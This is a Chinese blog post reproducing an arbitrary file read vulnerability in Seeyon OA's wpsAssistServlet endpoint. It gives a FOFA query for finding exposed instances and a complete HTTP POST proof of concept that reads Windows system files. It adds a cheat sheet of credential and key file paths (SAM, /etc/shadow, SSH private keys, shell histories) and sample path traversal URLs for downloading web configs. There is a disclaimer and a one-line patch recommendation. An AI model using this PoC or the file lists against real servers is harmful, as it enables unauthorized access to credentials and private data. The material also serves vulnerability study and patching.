当前位置: 首页 > news >正文

致远OA wpsAssistServlet任意文件读取漏洞复现 [附POC]

文章目录

  • 致远OA wpsAssistServlet任意文件读取漏洞复现 [附POC]
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影响版本
    • 0x04 漏洞环境
    • 0x05 漏洞复现
      • 1.访问漏洞环境
      • 2.构造POC
      • 3.复现
    • 0x06 修复建议

致远OA wpsAssistServlet任意文件读取漏洞复现 [附POC]

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

致远互联oa办公自动化软件系统,实现企业审批/报销/门户/公文/文档/采购/费用等综合管理,致远互联oa办公自动化软件系统,满足企业一体化办公需求。

致远OA互联新一代智慧型协同运营平台以中台的架构和技术、协同、业务、连接、数据的专 业能力,夯实协同运营中台的落地效果;以移动化、AI智能推进前台的应用创新,实现企业轻量化、智能化业务场景,促进企业全过程管理能效,赋予企业协同工作和运营管理的新体验;在协同运营平台全面升级的基础上,V8.0深耕大型企业管理模式、运营机制,进一步强化“协同”在管理中的价值,推动大中型企业、集团企业、国资以及高新技术企业的管理模式升级,帮助企业构筑全程、全域、全端的运营和服务能力,提升人员效率和组织绩效,赋能企业数字化、智能化发展。该系统存在任意文件读取漏洞。

0x03 影响版本

致远互联-OA

0x04 漏洞环境

FOFA语法:app=“致远互联-OA” && title=“V8.0SP2”
在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC (POST)

POST /seeyon/wpsAssistServlet HTTP/1.1
Host: ip:port
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
Content-Length: 47
Content-Type: application/x-www-form-urlencodedflag=template&templateUrl=C:/windows/system.ini

3.复现

访问Windows下的敏感文件system.ini
在这里插入图片描述
访问Windows下的敏感文件win.ini
在这里插入图片描述

PS:常见的敏感文件如下:

windows下的敏感文件路径

c:\windows\my.ini       \\安装mysql时会将root密码写入该文件
c:\windows\system32\config\sam  \\存放windows管理员登陆密码
C:\windows\repair\sam     //存储系统初次安装的密码
c:\windows\system32\inetsrv\MetaBase.xml  \\存放iis配置文件
c:\tomcat5.0\conf\resin.conf  tomcat存放密码的位置
C:\boot.ini          //查看系统版本
C:\windows\win.ini   //基本系统配置文件
C:\ProgramFiles\mysql\my.ini  //Mysq1配置
C:/ProgramFiles/mysql/data/mysql/user.MYD     //Mysqlroot
C:\windows\php.ini              //php配置信息
C:/windows/system.ini           //定义了有关WINDOWS系统所需的模块,相关的键盘、鼠标、显卡、多媒体的驱动程序、标准字体、和shell程序

linux下的敏感文件路径

/usr/local/app/apache2/conf/httpd.conf 		//apache2缺省配置文件
/usr/local/app/php5/lib/php.ini   	//PHP相关设置
/etc/sysconfig/network-scripts/ifcfg-eth0 		 //查看IP
/etc/my.cnf   		          //mysql的配置文件
/etc/redhat-release 	//系统版本/etc/rc.local   有时可以读出来apache的路径
/etc/passwd   /etc/shadow     //用户信息密码存放文件
/etc/my.cnf                  //mysql配置文件    
/etc/httpd,/conf/httpd.conf     //apache配置文件    /root/.ssh/authorized._keys //ssh登录认证文件
/root/.ssh/id_rsa.keystore.//密钥存放文件
/root/.ssh/known_hosts//已访问过的主机公钥记录文件
/root/.bash_history    //记录系统历史命令文件
/root/.mysql_history  //记录数据库历史命令文件/proc/self/fd/fd[0-9]*(文件标识符)//连接当前正运行的进程
/proc/mounts            //已挂载的文件系统信息
/porc/config.gz          //内核配置文件

WebServer默认文件路径

1、Java

1.tomcat-users.xm](用户配置文件)tomcat-users.xm]默认在conf目录下,或许可以直接使用下载点下载该文件。
http://目标网站/down.jsp?filename=tomcat-users,xml&path=C:/Program Files/Apache SoftwareFoundation/Tomcat 6.0/conf/tomcat-users.xml2.web.xm](网站配器文件)
Jsp网站配置文件默认放在根目录WEB-INF/Web.xm1下(一般都有很多内容有时含有数据库连接用户名和密码等关键信息)
http:/目标站点/file.do?method=downFile&fileName=../WEB-INF/Web.xml

2、Aspx

web.config文件(网站配置文件)7
aspx站点用根目录下的web.config文件保存配置信息,尝试构造确定根目录:
http://目标站点/DownLoadFileLow.aspx?FileName=../web.config

3、Asp

http://目标站点/download.asp?filename=../../inc/conn.asp(数据库配器文件)
http://目标站点/download.asp?filename=../../download.asp(网站配器文件)
http://目标站点/download.asp?filename=../..//Admin_login.asp(用户登录界面)
http://目标站点/database/xxxx.mdb (数据库路径)

4、PHP

php一般是mysq]数据库,一般mysgl数据库禁止远程连接,但是有些站点会使用使用phpMyAdmin进行管理
下载数据库配器文件:
http://目标站点/download.php?filename=../conf/config.php&dir=/&title=config.php

0x06 修复建议

打补丁或升级到最新版本

相关文章:

  • Pytest UI自动化测试实战实例
  • DI93a HESG440355R3 通过其Achilles级认证提供网络安全
  • 如何当好一面面试官?
  • 个体诊所电子处方系统有哪些?个体门诊处方管理系统
  • Jenkins自动化部署简单配置
  • Go错误包装
  • React18新特性?
  • 【书籍篇】Spring实战第4版 第1部分 Spring的核心
  • 【qemu逃逸】HWS2017-FastCP
  • Paddle炼丹炉炸了Unexpected BUS error encountered in DataLoader worker
  • 计算机网络第4章-网络层(1)
  • 通讯网关软件032——利用CommGate X2OPC实现OPC客户端访问Modbus TCP设备
  • 1,Opencv常用结构
  • ENVI波段合成
  • 多式联运路径优化问题:基于拓扑排序的遗传算法染色体编码
  • JavaScript-如何实现克隆(clone)函数
  • 【个人向】《HTTP图解》阅后小结
  • 【剑指offer】让抽象问题具体化
  • CentOS从零开始部署Nodejs项目
  • ES2017异步函数现已正式可用
  • Joomla 2.x, 3.x useful code cheatsheet
  • PaddlePaddle-GitHub的正确打开姿势
  • PHP 小技巧
  • RedisSerializer之JdkSerializationRedisSerializer分析
  • Sass 快速入门教程
  • Spark in action on Kubernetes - Playground搭建与架构浅析
  • SQLServer之创建显式事务
  • 大整数乘法-表格法
  • 个人博客开发系列:评论功能之GitHub账号OAuth授权
  • 基于axios的vue插件,让http请求更简单
  • 警报:线上事故之CountDownLatch的威力
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • 双管齐下,VMware的容器新战略
  •  一套莫尔斯电报听写、翻译系统
  • nb
  • 格斗健身潮牌24KiCK获近千万Pre-A轮融资,用户留存高达9个月 ...
  • #Z0458. 树的中心2
  • (+3)1.3敏捷宣言与敏捷过程的特点
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第2节(共同的基类)
  • (java版)排序算法----【冒泡,选择,插入,希尔,快速排序,归并排序,基数排序】超详细~~
  • (pytorch进阶之路)扩散概率模型
  • (办公)springboot配置aop处理请求.
  • (分布式缓存)Redis哨兵
  • (附源码)springboot炼糖厂地磅全自动控制系统 毕业设计 341357
  • (使用vite搭建vue3项目(vite + vue3 + vue router + pinia + element plus))
  • (转)大道至简,职场上做人做事做管理
  • (转)甲方乙方——赵民谈找工作
  • .Net 6.0 处理跨域的方式
  • .NET Core MongoDB数据仓储和工作单元模式封装
  • .net Signalr 使用笔记
  • .NET 分布式技术比较
  • .net 微服务 服务保护 自动重试 Polly
  • .NET构架之我见
  • .Net下C#针对Excel开发控件汇总(ClosedXML,EPPlus,NPOI)
  • .NET中 MVC 工厂模式浅析